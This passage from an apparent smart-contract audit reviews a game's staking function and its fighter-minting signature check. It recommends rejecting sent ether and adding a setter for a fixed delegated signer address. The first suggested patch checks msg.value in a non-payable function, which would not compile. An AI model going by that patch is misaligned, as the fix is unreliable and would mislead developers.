        if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, true);
            }
            amountStaked[tokenId] += amount;
            globalStakedAmount += amount;
            stakingFactor[tokenId] = _getStakingFactor(tokenId, _stakeAtRiskInstance.getStakeAtRisk(tokenId));
            _calculatedStakingFactor[tokenId][roundId] = true;
            emit Staked(msg.sender, amount);
        }
    }
    

Consider using require statement to restrict non-zero message value.

   function stakeNRN(uint256 amount, uint256 tokenId) external {
   +    require(msg.value == 0, "No ether please");
        require(amount > 0, "Amount cannot be 0");
        require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
        require(_neuronInstance.balanceOf(msg.sender) >= amount, "Stake amount exceeds balance");
        require(hasUnstaked[tokenId][roundId] == false, "Cannot add stake after unstaking this round");

        _neuronInstance.approveStaker(msg.sender, address(this), amount);
        bool success = _neuronInstance.transferFrom(msg.sender, address(this), amount);
        if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, true);
            }
            amountStaked[tokenId] += amount;
            globalStakedAmount += amount;
            stakingFactor[tokenId] = _getStakingFactor(tokenId, _stakeAtRiskInstance.getStakeAtRisk(tokenId));
            _calculatedStakingFactor[tokenId][roundId] = true;
            emit Staked(msg.sender, amount);
        }
    }
    

_delegatedAddress is not changeable

There is no setter function for FighterFarm.sol:_delegatedAddress besides constructor.

_delegatedAddress is used as a gatekeeper for crucial minting function, and redeploying contract for address change is not an option without breaking whole game.

function claimFighters(
        uint8[2] calldata numToMint,
        bytes calldata signature,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
        bytes32 msgHash = bytes32(keccak256(abi.encode(
            msg.sender, 
            numToMint[0], 
            numToMint[1],
            nftsClaimed[msg.sender][0],
            nftsClaimed[msg.sender][1]
        )));
        require(verify(msgHash, signature, _delegatedAddress));

...
}

Consider implementing same fuction from AAMintPass.sol

function setDelegatedAddress(address _delegatedAddress) external {
        require(msg.sender == founderAddress);
        delegatedAddress = _delegatedAddress;
    }